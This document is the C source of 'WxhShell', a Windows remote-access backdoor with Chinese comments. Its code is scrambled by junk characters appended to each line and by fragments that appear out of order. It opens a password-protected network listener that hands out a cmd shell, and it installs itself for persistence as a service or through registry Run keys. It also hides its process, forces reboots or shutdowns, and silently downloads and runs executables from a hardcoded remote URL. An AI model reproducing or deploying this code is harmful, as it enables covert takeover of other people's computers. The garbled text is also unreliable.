    closesocket(wsh); >S0kiGDV{  
    ExitThread(0); F+NX [  
    } :+w6i_\d5  
    break; G$KQgUN~[  
    } Xf"< >M  
  // 获取shell v:Gy>&  
  case 's': { E ?bqEW(  
    CmdShell(wsh); gH,Pz  
    closesocket(wsh); -{C Gn5]_#  
    ExitThread(0); ^7i7yM}6(  
    break; o~CEja &(  
  } Al@. KTK  
  // 退出 +e.w]\}  
  case 'x': { (~bx%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \ qq  
    CloseIt(wsh); \Wg_ gA  
    break; z6;hFcO  
    } q7_Ttjn-DV  
  // 离开 bYpeI(zK  
  case 'q': { RL\?i~'KH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n'q:L(`M  
    closesocket(wsh); {_Ll'S  
    WSACleanup(); IC8%E3  
    exit(1); Dm}M8`|X  
    break; Qm*ZOz'i  
        } |*b-m k  
  } E`@Z9k1 `  
  } <I2ENo5?  
Zo^]y'  
  // 提示信息 @TXLg2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '3sySsD&O  
} Ol h{<~Fv  
  } Rrl  
P zM yUv  
  return; /NiD#s0t  
} WcM\4q@  
75> Ok/  
// shell模块句柄 }a9G,@:k  
int CmdShell(SOCKET sock) djw\%00&#  
{ |#SZd Xg  
STARTUPINFO si; v4'kV:;&  
ZeroMemory(&si,sizeof(si)); aHYISjZ]>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~LOE^6C+~o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; h9}*_qc&kV  
PROCESS_INFORMATION ProcessInfo; Z_S{$D  
char cmdline[]="cmd"; WK7?~R%rq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N]| >\  
  return 0; H|wP8uQC  
} +w?R4Sxjn  
M3|G^q:l  
// 自身启动模式 ~Fwbi  
int StartFromService(void) SZ$WC8AX  
{ K r|.I2?"  
typedef struct _!, J iOI  
{ *W^ZXhrZ  
  DWORD ExitStatus; "&4r!2A  
  DWORD PebBaseAddress; =Tl_~OR  
  DWORD AffinityMask; b l+g7g;  
  DWORD BasePriority; {]dtA&8(  
  ULONG UniqueProcessId; Ov?J"B'F  
  ULONG InheritedFromUniqueProcessId; $of2lA  
}   PROCESS_BASIC_INFORMATION; DC-d@N+  
Myiv#rQ)  
PROCNTQSIP NtQueryInformationProcess; xz5A[)N  
2E!~RjxSY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |m ?ZE:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q% d1n*;+  
-rm[.  
  HANDLE             hProcess; \( #"g  
  PROCESS_BASIC_INFORMATION pbi; o,* D8[  
hEsi AbTyF  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kV5)3%?  
  if(NULL == hInst ) return 0; [?KGLUmTAI  
7dACbqba  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h3 XS t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N 1Ag .  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .#|?-5q/iN  
=D Q :0w  
  if (!NtQueryInformationProcess) return 0; :Ez, GAk  
DmLx"%H3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &s(&B>M  
  if(!hProcess) return 0; 0.n[_?<(  
NE8W--Cg|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %%uE^nX>  
DyGls8<\!  
  CloseHandle(hProcess); K SO D(  
>5L_t   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _"yA1D0d_  
if(hProcess==NULL) return 0; 1H/I-  
RLnL9)`W  
HMODULE hMod; U{hu7  
char procName[255]; sAL ]N][Y  
unsigned long cbNeeded; % |D)%|Z  
+W*~=*h|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !#O [RS  
G,|!&=Pe|E  
  CloseHandle(hProcess); o5F:U4sG  
&EQhk9j  
if(strstr(procName,"services")) return 1; // 以服务启动 #H>{>0q  
~!r;?38V`  
  return 0; // 注册表启动 `!HD. E[2c  
} #[lhem]IC  
d)Yl D]I  
// 主模块 .=#j dc/  
int StartWxhshell(LPSTR lpCmdLine) eNAxVF0  
{ V<0iYi;4=  
  SOCKET wsl; +)jll#}?  
BOOL val=TRUE; K ?!qNK  
  int port=0; hb5K"9Y  
  struct sockaddr_in door; 6&eXQl  
<GNLDpj  
  if(wscfg.ws_autoins) Install();  XTJD>  
x [FLV8`b|  
port=atoi(lpCmdLine); xZ9:9/Vg  
2L^)k?9>g+  
if(port<=0) port=wscfg.ws_port; ilL0=[2  
1jl !VU6  
  WSADATA data; `S@TiD*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G:1'}RC :  
Mn.,?IF`K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d qn5G!fI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MePD:;mm^  
  door.sin_family = AF_INET; Nujnm$!,Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `@h|+`h  
  door.sin_port = htons(port); my.EvN  
&[.`xZ(|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7C{ y NX#  
closesocket(wsl); RwWg:4   
return 1; 3yZmW$E.  
} senK (kbc  
`Z?wj@H1`  
  if(listen(wsl,2) == INVALID_SOCKET) { )\fY1WD  
closesocket(wsl); /fr>Fd  
return 1; 4]y)YNQ(  
} Pd*[i7zhC  
  Wxhshell(wsl); e<L@QNX  
  WSACleanup(); JbMTULA  
/8cRPB.  
return 0; o%$.8)B9F  
,BU;i%G&s  
} SiratkP9n7  
,^#Jw`w^  
// 以NT服务方式启动 ,fVD`RR(W?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u/zBz*zh  
{ V2YK  T,5  
DWORD   status = 0; :]^e-p!z  
  DWORD   specificError = 0xfffffff; !~@GIr  
ff"wg\O4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N@q}eGe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G6sK3K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BX,)G HE  
  serviceStatus.dwWin32ExitCode     = 0; Sqo+cZ  
  serviceStatus.dwServiceSpecificExitCode = 0; 1o_kY"D<  
  serviceStatus.dwCheckPoint       = 0; }]?Si6_ZZ  
  serviceStatus.dwWaitHint       = 0; AlSO  
\N>-+r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ly[LF1t   
  if (hServiceStatusHandle==0) return; tZrc4$D-  
_FLEz|%~  
status = GetLastError(); RU)35oEV|  
  if (status!=NO_ERROR) U@lc 1#  
{ Ykbg5Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _"DS?`z6  
    serviceStatus.dwCheckPoint       = 0; (C2 XFg_  
    serviceStatus.dwWaitHint       = 0; yVd^A2  
    serviceStatus.dwWin32ExitCode     = status; [m t.2.  
    serviceStatus.dwServiceSpecificExitCode = specificError; yzA05npTl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OG,P"sv  
    return; h~MV=7 lE  
  } J~Xv R  
V|7YRa@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pMc6p0  
  serviceStatus.dwCheckPoint       = 0; A KNx~!%2  
  serviceStatus.dwWaitHint       = 0; DHidI\*gT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  6 K $mW  
} #Ondhy%h[  
*dzZOe>,  
// 处理NT服务事件,比如:启动、停止 ~xH&"1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5sD,gZ7  
{ TBhM^\z  
switch(fdwControl) da{]B5p\  
{ D7ex{SVA)  
case SERVICE_CONTROL_STOP: 85{m+1O~  
  serviceStatus.dwWin32ExitCode = 0; GN.O a$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]6&NIz`:,  
  serviceStatus.dwCheckPoint   = 0; snV*gSUH  
  serviceStatus.dwWaitHint     = 0; q>q:ZV  
  { <O x[![SR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yoi4w 7:  
  } &4'< {  
  return; Ycm)PU["  
case SERVICE_CONTROL_PAUSE: LzygupxY!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4 p_C+4  
  break; #F*|@  
case SERVICE_CONTROL_CONTINUE: :fRXLe1=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _Fb}zPU!  
  break; b^Hr zn  
case SERVICE_CONTROL_INTERROGATE: ,CO2d)}  
  break; fS]& ?$q  
}; Vla,avON  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^}3^|jF  
} BT_]=\zi  
BT{;^Hp  
// 标准应用程序主函数 ^-;S&=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WxdQ^#AE  
{ 61\u{@o$  
! \] ^c  
// 获取操作系统版本 1CtUf7 `/Q  
OsIsNt=GetOsVer(); e r" w{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?0b-fL^^+l  
b`0tfXzS5  
  // 从命令行安装 Re%[t9 F&  
  if(strpbrk(lpCmdLine,"iI")) Install(); LvG.ocCG  
6|97;@94  
  // 下载执行文件 }v1wpv/b(  
if(wscfg.ws_downexe) { 5Iu5N0cn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |@ mz@  
  WinExec(wscfg.ws_filenam,SW_HIDE); VJ*1g+c  
} AZ:7_4jz  
{%jAp11y+O  
if(!OsIsNt) { ~%hdy @  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~W'DEpq_  
HideProc(); #J5BHY~  
StartWxhshell(lpCmdLine); ~z[`G#dU  
} /iW+<@Mas  
else 2Gyq40  
  if(StartFromService()) >Wg= Tuef  
  // 以服务方式启动 :cpj{v;s  
  StartServiceCtrlDispatcher(DispatchTable); ,n|si#  
else za l]t$z>  
  // 普通方式启动 jKSj);  
  StartWxhshell(lpCmdLine); $ m`Dyu  
gqaM<!]  
return 0; HC0juT OiO  
} sA0 Ho6  
J_s`G  
Fwm$0=BXL  
.5JIQWE(  
=========================================== +cpb!YEAb  
]l7W5$26 @  
t]c<HDCK  
'2,~'Zk  
O7.V>7Y9H  
^Z (cV g  
" /08FV|tX)  
Za.}bR6?Y  
#include <stdio.h> A#>wbHjWF  
#include <string.h> z:'m50'  
#include <windows.h> wGHft`Z  
#include <winsock2.h> IRW0.'Dn  
#include <winsvc.h> ]#~J[uk  
#include <urlmon.h> KFM[caKeJO  
g%2G=gR$?z  
#pragma comment (lib, "Ws2_32.lib") *0U#Z]t  
#pragma comment (lib, "urlmon.lib") deVd87;@7[  
4^(x)r &(?  
#define MAX_USER   100 // 最大客户端连接数 ]4rmQAS7"  
#define BUF_SOCK   200 // sock buffer 92-Xz6Bo9  
#define KEY_BUFF   255 // 输入 buffer e\)%<G5  
U$:^^Zt`B  
#define REBOOT     0   // 重启 O:]']' /  
#define SHUTDOWN   1   // 关机 lp*5;Ls'q  
QPy h.9:N  
#define DEF_PORT   5000 // 监听端口 [bLKjD  
>WHajYO"  
#define REG_LEN     16   // 注册表键长度 #v c+;`X  
#define SVC_LEN     80   // NT服务名长度 UG vIHm  
Uo3  
// 从dll定义API bbL\xq^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^C gg1e1  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %6ckau1_;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4DIU7#GG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t/i*.>7  
RXRbW%b  
// wxhshell配置信息  ;LS.  
struct WSCFG { LM<*VhX  
  int ws_port;         // 监听端口 sBlq)h;G?6  
  char ws_passstr[REG_LEN]; // 口令 `JIp$  
  int ws_autoins;       // 安装标记, 1=yes 0=no q\tr&@4iC  
  char ws_regname[REG_LEN]; // 注册表键名 P IG,a~  
  char ws_svcname[REG_LEN]; // 服务名 %+r(*Q+0$f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .)*&NY!nsl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zkt~[-jm}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1dD%a91  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N\|B06X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #m#IBRD:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HOD?i_  
D(z#)oDr  
}; gd[muR ~  
4n#u?)  
// default Wxhshell configuration X8}r= K~  
struct WSCFG wscfg={DEF_PORT, ->#wDL!6  
    "xuhuanlingzhe", Tp;W  
    1, uNewWtUb(  
    "Wxhshell", k r$)nf  
    "Wxhshell", #h ud_  
            "WxhShell Service", 5ncW s)  
    "Wrsky Windows CmdShell Service", P]"@3Z&w  
    "Please Input Your Password: ", iBWzxPv:z  
  1, *wAX&+);  
  "http://www.wrsky.com/wxhshell.exe", HubG>]  
  "Wxhshell.exe" u%L6@M2  
    }; UXZ3~/L5 O  
QeY+imM  
// 消息定义模块 [,&g46x22  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [\F:NLjiUy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X6sZwb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zn1((J7  
char *msg_ws_ext="\n\rExit."; 0MT?}D&TL  
char *msg_ws_end="\n\rQuit."; j gV^{8qG  
char *msg_ws_boot="\n\rReboot..."; n4?;!p<F  
char *msg_ws_poff="\n\rShutdown..."; 5hqXMs  
char *msg_ws_down="\n\rSave to "; TrZ!E`~  
0gyvRM@ x[  
char *msg_ws_err="\n\rErr!"; <S_0=U  
char *msg_ws_ok="\n\rOK!"; =}ZY`O*/  
;E}&{w/My  
char ExeFile[MAX_PATH]; ?:q"qwt$F  
int nUser = 0; 0#c-qy  
HANDLE handles[MAX_USER]; 5i$P$ R  
int OsIsNt; K[SzE{5=P  
Z$0mKw   
SERVICE_STATUS       serviceStatus; G>Bgw>#_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2!f'l'}  
%jUZc:06  
// 函数声明 57 Vn-  
int Install(void); >yyu:dk-;  
int Uninstall(void); ")boY/ P/w  
int DownloadFile(char *sURL, SOCKET wsh); 7 |Qb}[s  
int Boot(int flag); `,  |l  
void HideProc(void); )`=N+k]  
int GetOsVer(void); Jx3a7CpX  
int Wxhshell(SOCKET wsl); _ru<1n[4~  
void TalkWithClient(void *cs); 11$v~<M  
int CmdShell(SOCKET sock); O[ans_8  
int StartFromService(void); N9c#N%cu  
int StartWxhshell(LPSTR lpCmdLine); 54JI/!a  
b9f5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4yu=e;C wy  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  wMH13i3  
LGy!{c  
// 数据结构和表定义 ]~WIGl"g  
SERVICE_TABLE_ENTRY DispatchTable[] = esTK4z]  
{ OOsd*nX/  
{wscfg.ws_svcname, NTServiceMain}, y9:o];/  
{NULL, NULL} /Wjf"dG}  
}; '?|.#D#-c  
u<@ 55k  
// 自我安装 L'BzefU;04  
int Install(void) wRWKem=  
{ R[lA@q:  
  char svExeFile[MAX_PATH]; BW)t2kR&  
  HKEY key; WtSlD9 h  
  strcpy(svExeFile,ExeFile); 87V XVI  
&kOb#\11u  
// 如果是win9x系统,修改注册表设为自启动 (i'wa6[E8  
if(!OsIsNt) { (7aE!r\Ab  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %ye4FwkRy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l5k]voG  
  RegCloseKey(key); '$OLU[(Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H Lt;1:b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]_)=xF19  
  RegCloseKey(key); j%&^qD,  
  return 0; l\-(li H  
    } pQxi0/dp  
  } qoD M!~  
} !FnH;  
else { X"G3lG  
#^/&fdK~A  
// 如果是NT以上系统,安装为系统服务 z3}4 +~~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2|^bDg;W+u  
if (schSCManager!=0) vCNYqa)m:  
{ [+y/qx79  
  SC_HANDLE schService = CreateService P(r}<SM  
  ( ? Kn~fs8  
  schSCManager, 0:Lm=9o  
  wscfg.ws_svcname, ]+S.#x`#  
  wscfg.ws_svcdisp, 7" cgj#  
  SERVICE_ALL_ACCESS, k4-C*Gx$h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8:A6Ew&\]O  
  SERVICE_AUTO_START, eVWnD,'  
  SERVICE_ERROR_NORMAL, 'W j Q  
  svExeFile, .~ W^P>t  
  NULL, Icf@uQ6  
  NULL, ffyKAZ{]po  
  NULL, "|"bo5M:   
  NULL, ',* 6vbII  
  NULL Z5{M_^  
  ); CLD*\)QD\  
  if (schService!=0) 7QRtNYo#\  
  { r).S/  
  CloseServiceHandle(schService); |v{ a5|<E  
  CloseServiceHandle(schSCManager); A|@d4+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #PmF@ CHR  
  strcat(svExeFile,wscfg.ws_svcname); B|~\m ~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GRj{*zs  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z;i^h,j?$1  
  RegCloseKey(key);  o*QhoDjc  
  return 0; Da8qR+*x  
    } @,sg^KB  
  } .|{*.YE  
  CloseServiceHandle(schSCManager); z{^XU"yB  
} QTK{JZf  
} (N43?iv(  
YKUs>tQ!  
return 1; I\DT(9 'E  
} Md[nlz  
/gHRJ$2|Sx  
// 自我卸载 -]PW\}w1  
int Uninstall(void) c-avX  
{ Ty]CdyL$  
  HKEY key; ^yu^Du  
&ze'V , :  
if(!OsIsNt) { nS'0i&<{1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DjL(-7'p  
  RegDeleteValue(key,wscfg.ws_regname); %-T]!3"n  
  RegCloseKey(key); JUU0Tx:`9)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Jb {m  
  RegDeleteValue(key,wscfg.ws_regname); <v[,A8Q  
  RegCloseKey(key); P67r+P,  
  return 0; wEzLfZ Oz/  
  } +|( eP_  
} %r~TMU2"  
} 9}2I'7]  
else { .Fh5:W N  
S` X;2\:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Cj+6CrT  
if (schSCManager!=0) XX}RbE#4  
{ >&U]j*'4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n&[U/`o  
  if (schService!=0) wTIOCj  
  { 59T:{d;~  
  if(DeleteService(schService)!=0) { 4U>  
  CloseServiceHandle(schService); rmR7^Ycv/  
  CloseServiceHandle(schSCManager); /k}v m3  
  return 0; R0\E?9P  
  } &&(sZG w  
  CloseServiceHandle(schService); |'=R`@w~0  
  } jr@<-.  
  CloseServiceHandle(schSCManager);  }e9:2  
} WRFzb0;01  
} 9)T;.O  
$xlI"-(  
return 1; )UZ 's>O  
} !lL21C6g+  
eA#J7=eC  
// 从指定url下载文件 vQ26U(7\>  
int DownloadFile(char *sURL, SOCKET wsh) Q6kkMLh  
{ hU+sg~E  
  HRESULT hr; [D?RL `ZF  
char seps[]= "/"; oC.:mI  
char *token; _~=X/I R  
char *file; vXRfsv y  
char myURL[MAX_PATH]; qS|bpC0x  
char myFILE[MAX_PATH]; )1Os+0az  
Nx;U]O6A  
strcpy(myURL,sURL); C-m OtI  
  token=strtok(myURL,seps); Zz,E4+'Rm  
  while(token!=NULL) RBJgQ<j8  
  { hf8 =r5j=  
    file=token; 4=>/x90y  
  token=strtok(NULL,seps); =MRg  
  } rM<c;iQ  
kdITh9nx<r  
GetCurrentDirectory(MAX_PATH,myFILE); 6|rqsk  
strcat(myFILE, "\\");  [9~Bau  
strcat(myFILE, file); #ZRQVC;b;  
  send(wsh,myFILE,strlen(myFILE),0); ?msx  
send(wsh,"...",3,0); ,X)0+DNsq  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7?qRY9Qu  
  if(hr==S_OK) /H^=`[Mr  
return 0; ;Q:^|Fw!F  
else J,_I$* _0  
return 1; uqnoE;57^  
a7)q^;:O  
} uw&GXOzew9  
G5Y 8]N  
// 系统电源模块 ~}i &gd|(  
int Boot(int flag) `)*   
{ \3hhM}6)DM  
  HANDLE hToken; w t? 8-_  
  TOKEN_PRIVILEGES tkp; ` Cdk b5  
KtA0 8?B  
  if(OsIsNt) { c1'OIK C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); sF C&DTb?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l&dHH_m3  
    tkp.PrivilegeCount = 1; Xl.h&x0? 8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 68kxw1xY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @AvXBMq|  
if(flag==REBOOT) { |g}! F-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P)XkqOGpT9  
  return 0; Hz`rw\\Xq  
} M3Q#=yy$D$  
else { E%:!* 9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ja$e)  
  return 0; K8$Hg:Ky-/  
} 72GXgah  
  } 6+_)(+ c  
  else { wciYv,  
if(flag==REBOOT) { :+|b7fF  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NDm@\<MIzB  
  return 0; IvTtQq  
} ;``*]tY$  
else { a.v$+}+.[,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VjS %!P  
  return 0; wO@b=1j  
} @#c(4}^ <w  
} H'-Fv!l?  
=iC5um:  
return 1; g2l|NI#c^  
} pv+FPB  
YES!?^}  
// win9x进程隐藏模块 c|x:]W'ij  
void HideProc(void) @I2m4Q{O  
{ ,-ZAI b*  
%;(+s7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g><u (3  
  if ( hKernel != NULL ) wb 2N$Ew=  
  { W1$B6+}Z0V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ez%RWck  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'D#}ce)s#  
    FreeLibrary(hKernel); c5>&~^~>Tx  
  } _|D8~\y  
6Ii2rEzD  
return; +?zyFb]Km  
} j 9XY%4.  
]^Z7w`=%5  
// 获取操作系统版本 cpz}!D  
int GetOsVer(void) PQ.xmg2  
{ a"&@G=M@d  
  OSVERSIONINFO winfo; R!lNm,i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9-eYCg7C|  
  GetVersionEx(&winfo); Na=9 ju  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  s$YKdtR  
  return 1; 8s-RNA>7^  
  else ?/9]"HFHN  
  return 0; {cnya*  
} C(b"0>  
Bs =V-0  
// 客户端句柄模块 1*S It5?4  
int Wxhshell(SOCKET wsl) HWT0oh]  
{ 5(q\x(N  
  SOCKET wsh; p%+ 0^]v1  
  struct sockaddr_in client; N{46DS  
  DWORD myID; d?Gf T$1  
%h=)>5-T  
  while(nUser<MAX_USER) ,w,>pO'[  
{ AT}}RE@vq  
  int nSize=sizeof(client); xcnHj1r-o'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x=Qy{eIe  
  if(wsh==INVALID_SOCKET) return 1; ~` @dI  
gZuk(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cR}}NF  
if(handles[nUser]==0) h>sz@\{  
  closesocket(wsh); 7Gnslp?[U  
else QG?7L_I  
  nUser++; ~fI&F|  
  } m8n!<_NFt(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L!V`Sb  
[&|Le;h  
  return 0; Bwjd/id q  
} (9*s:)zD-  
o+;=C@,'  
// 关闭 socket kFgN^v^t  
void CloseIt(SOCKET wsh) V9-pY/v 9  
{ zwR@^ 5^6  
closesocket(wsh); Msn)jh  
nUser--; hE\,4c1  
ExitThread(0); UBOCd[  
} R"6Gm67t  
jV\M`=4IC  
// 客户端请求句柄 kQC>8"  
void TalkWithClient(void *cs) 9-o{[  
{ 7U:,:=  
yiQke   
  SOCKET wsh=(SOCKET)cs; pu=T pSZ  
  char pwd[SVC_LEN]; \hdR&f5q  
  char cmd[KEY_BUFF]; hghtF  
char chr[1]; *U.$=4Az  
int i,j; W=5+k0Q  
]/p0j$Tq$  
  while (nUser < MAX_USER) { VXQS~#dQj  
qnW5I_]  
if(wscfg.ws_passstr) { -))>7skc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h#zx^F1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fpM 4q  
  //ZeroMemory(pwd,KEY_BUFF); ($E(^p% O  
      i=0; >4ebvM 0|  
  while(i<SVC_LEN) { Yk(OVl T  
~ i1w,;(  
  // 设置超时 b;]'Bo0K  
  fd_set FdRead; nf,>l0,,'  
  struct timeval TimeOut; (*&6XTV(  
  FD_ZERO(&FdRead); Ptzha?}OZ  
  FD_SET(wsh,&FdRead); 4en&EWUr  
  TimeOut.tv_sec=8; LoOyqJ,  
  TimeOut.tv_usec=0; kOVx]=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -2v|d]3qG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ZgtW  
\4K8*`$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wC!(STu  
  pwd=chr[0]; cy)L%`(7  
  if(chr[0]==0xd || chr[0]==0xa) { +hY/4Tx<  
  pwd=0; HGWwGd  
  break; AbZ:AJ(  
  } fL83:<RK  
  i++; vH# US  
    } 20^F -,z  
:eQ@I+  
  // 如果是非法用户,关闭 socket $7TYix8=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >gFF>L>  
} F5:*;E;$  
|1g2\5Re  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jA=uK6m  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7*'_&0   
GJ%It .  
while(1) { {aGQ[MH\9  
A!fjw  
  ZeroMemory(cmd,KEY_BUFF); 1Na CGD"  
!\ y_ik  
      // 自动支持客户端 telnet标准   feNr!/  
  j=0; fQ#mx.|8y  
  while(j<KEY_BUFF) { n9bX[+#d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 70 HEu@-  
  cmd[j]=chr[0]; VxjHB?)  
  if(chr[0]==0xa || chr[0]==0xd) { X?>S24I"9  
  cmd[j]=0; #A:I|Q1$g  
  break; l-t:7`=|  
  } L4Nk+R;  
  j++; H1 \~T  
    } T:; e73  
ywq{9)vq  
  // 下载文件 1)u= &t,  
  if(strstr(cmd,"http://")) { a2dF(H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (y~da~  
  if(DownloadFile(cmd,wsh)) =C`v+NPM)|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bI]1!bi]i  
  else V_+3@C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]PUyX8'~  
  } Hd;>k$B  
  else { ,{'~J @  
Z]9 )1&  
    switch(cmd[0]) { guwnYS  
  j{p0yuZ)<  
  // 帮助 F<'g6 f  
  case '?': { {\]SvoJnJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 4+v~{  
